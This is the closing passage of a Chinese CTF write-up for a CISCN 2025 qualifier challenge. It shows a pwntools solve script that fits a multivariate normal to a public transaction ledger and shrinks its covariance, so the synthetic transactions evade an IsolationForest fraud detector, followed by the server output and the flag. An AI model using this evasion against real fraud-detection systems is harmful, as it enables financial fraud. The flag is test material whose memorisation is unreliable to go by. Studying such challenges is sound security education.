f9 0.843381 0.785895 0.708344 0.725701 0.620199 ... 0.778569 0.858284 0.718543 0.907205 0.717416
f10 0.757026 0.763784 0.726032 0.851975 0.699480 ... 0.744315 0.746124 0.805886 0.761826 0.718435
f11 0.705224 0.778396 0.779770 0.789787 0.668275 ... 0.747641 0.800492 0.839851 0.810376 0.691686
f12 0.702653 0.767262 0.802256 0.782943 0.838507 ... 0.739345 0.755160 0.740916 0.690307 0.635369
f13 0.789366 0.837702 0.832103 0.729791 0.587619 ... 0.831766 0.740468 0.800123 0.813361 0.709778
f14 0.682876 0.760312 0.798318 0.660775 0.647816 ... 0.796049 0.692311 0.592889 0.618375 0.682284
f15 0.821064 0.749549 0.694812 0.890735 0.697393 ... 1.000000 0.708625 0.680482 0.817315 0.724733
f16 0.703803 0.736088 0.716734 0.673606 0.680010 ... 0.708625 1.000000 0.711181 0.745379 0.689665
f17 0.702949 0.696779 0.773410 0.728218 0.491486 ... 0.680482 0.711181 1.000000 0.773676 0.601704
f18 0.830558 0.779997 0.682263 0.788946 0.552296 ... 0.817315 0.745379 0.773676 1.000000 0.703803
f19 0.794620 0.581747 0.662238 0.692148 0.477895 ... 0.724733 0.689665 0.601704 0.703803 1.000000

[20 rows x 20 columns]

可以发现 feat_0 的均值在 350 左右,要达到 200 万就要生成大约 6000 条记录。通过相关系数矩阵发现 feat_1 到 feat_19 之间并非完全独立,比如说某些设备指纹特征之间存在强耦合,如果生成的特征破坏了这种协方差关系孤立森林会就会识别出异常。

由于已知数据是正常行为,我们可以假定这些数据服从多元正态分布,其概率密度函数由均值向量 $\mu$ 和协方差矩阵 $\Sigma$ 决定:

$$
f(x) = \frac{1}{\sqrt{(2\pi)^k |\Sigma|}} \exp\left(-\frac{1}{2}(x-\mu)^T \Sigma^{-1} (x-\mu)\right)
$$

即使是符合正态分布的数据,落在 3$\sigma$ 之外的点依然会被孤立森林认为足够稀少从而判定为异常。因此我们的解题策略是协方差收缩,引入一个收缩因子 $\alpha$ ($0 < \alpha < 1$),将生成的协方差矩阵设为 $\Sigma_{new} = \alpha \Sigma$,这会使得生成的点在保持特征间相关性的同时在空间上极度向均值中心 $\mu$ 收缩。这样生成的数据都位于模型认为正常的区域,这些点的路径长度会达到最大值从而避开警报。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pandas as pd
import numpy as np
from pwn import *

df = pd.read_csv('public_ledger.csv')
context.log_level = 'debug'
# io = remote('IP', PORT)

# 统计学建模
mu = df.mean().values
sigma = df.cov().values

# 收缩因子
shrinkage_factor = 0.1
# 样本总量
num_samples = 7000

fake_data = np.random.multivariate_normal(mu, sigma * shrinkage_factor, num_samples)

gen_df = pd.DataFrame(fake_data, columns=[f'feat_{i}' for i in range(20)])

total_amount = gen_df['feat_0'].sum()
print(f"预估总金额 ${total_amount:.2f}")

io.recvuntil(b"Waiting for CSV Data Stream (End with 'EOF')...")
io.send(gen_df.to_csv(index=False).encode('utf-8'))
io.send(b"\nEOF\n")
io.interactive()

得到返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
[--- SECURE BANKING GATEWAY v4.0 ---]
Task: Transfer > $2,000,000.00
Security: IsolationForest (Strict Mode)
Constraints:
1. No Transaction can be classified as Anomaly (-1).
2. No Replay Attacks (Public data is blacklisted).
3. No Duplicate Transactions.
-------------------------------------
Waiting for CSV Data Stream (End with 'EOF')...
[-] Analyzing Statistical Distribution...
Report: Value=$2,474,525.36 | Anomalies=0/7000
[SUCCESS] Transaction Authorized.
Flag: "flag{79081194-427f-4d3b-ae5d-7dce04fe5a90}"

FLAG

1
flag{79081194-427f-4d3b-ae5d-7dce04fe5a90}
  • 标题: 第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛
  • 作者: Aristore
  • 链接: https://www.aristore.top/posts/CISCN2025Quals/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论